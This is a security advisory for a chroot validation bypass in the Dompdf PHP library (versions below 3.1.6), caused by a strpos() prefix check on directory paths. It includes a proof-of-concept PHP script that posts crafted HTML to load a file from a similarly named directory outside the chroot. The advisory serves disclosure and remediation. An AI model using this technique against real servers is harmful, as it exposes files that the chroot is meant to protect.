---
id: CVE-2026-55554
aliases:
  - GHSA-wvh6-f5jh-8gw4
title: 'Dompdf: Chroot Validation Bypass'
summary: 'Dompdf: Chroot Validation Bypass'
severity: low
cwe:
  - CWE-20
  - CWE-22
vendor: dompdf
product: dompdf/dompdf
ecosystem: composer
affected:
  - dompdf/dompdf < 3.1.6
patched:
  - dompdf/dompdf 3.1.6
published: '2026-07-22'
updated: '2026-07-22'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-wvh6-f5jh-8gw4'
references:
  - url: 'https://github.com/dompdf/dompdf/security/advisories/GHSA-wvh6-f5jh-8gw4'
  - url: >-
      https://github.com/dompdf/dompdf/commit/1b3b61ec4f6962678e56ee8a42920b4f835ab006
  - url: 'https://github.com/dompdf/dompdf/releases/tag/v3.1.6'
  - url: 'https://github.com/advisories/GHSA-wvh6-f5jh-8gw4'
tags:
  - ghsa
  - composer
ingestedAt: '2026-07-22T22:06:58.092Z'
epss: 0.00326
epssPercentile: 0.25956
---

## Overview

### Summary
The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.

This allows attacker-controlled document paths/resources to bypass intended local file restrictions.

### Details
The `validateLocalUri()` method is used to check if a local file is within an allowed chroot directory. After normalization with `realpath()`, this check is performed with a `strpos()` comparison:


```
    public function validateLocalUri(string $uri)
    {
        ...
        $realfile = realpath(str_replace("file://", "", $uri));
        ...
        foreach ($dirs as $chrootPath) {
            $chrootPath = realpath($chrootPath);
            if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
                $chrootValid = true;
```

Due to the normalization, the `$chrootPath` string does not have a terminating directory separator (`/`) appended. Because of this, the `strpos()` check only validates that `$chrootPath` is a _prefix_ of  `$realfile`. This allows access to folders with similar names that fall outside of the defined chroot restrictions.

For example, a chroot setting of `/var/www/` would be normalized to `/var/www`, removing the trailing `/`. During `strpos()`, a `$chrootPath` of `/var/www` will also match a `$realfile` starting with `/var/www2`, `/var/www-admin`, or `/var/www_backup`, despite these being different directories.

### PoC

With a directory structure similar to:

```
/home/dompdf/
  |--> web/
        |--> pdf.php
        |--> cat0.jpg
  |--> web-admin/
        |--> cat1.jpg
```

And web-accessible Dompdf functionality similar to the following (poc.html):

```
<?php
require 'vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->setChroot(['/home/dompdf/web/']);
$dompdf = new Dompdf($options);

$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream();
?>
```

A malicious actor can exploit the vulnerability with the following script:

```
$html = <<<HTML
<!DOCTYPE html>
<html>
    <body>
        <p>within chroot</p>
            <img src="/home/dompdf/web/cat0.jpg">
        <p>outside of chroot</p>
            <img src="/home/dompdf/web-admin/cat1.jpg">
    </body>
</html>
HTML;

$url = 'http://example.com/poc.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];

// use key 'http' even if you send the request to https://...
$options = [
    'http' => [
        'header' => $headers,
        'method' => 'POST',
        'content' => http_build_query($data),
        'ignore_errors' => true,
    ],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
```

When the PDF is generated, both `jpg` files are loaded successfully despite the `cat1.jpg` file being outside of the allowed chroot.

### Impact
An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.

## Affected packages

- `dompdf/dompdf < 3.1.6`

## Remediation

Upgrade to a patched release:

- `dompdf/dompdf 3.1.6`
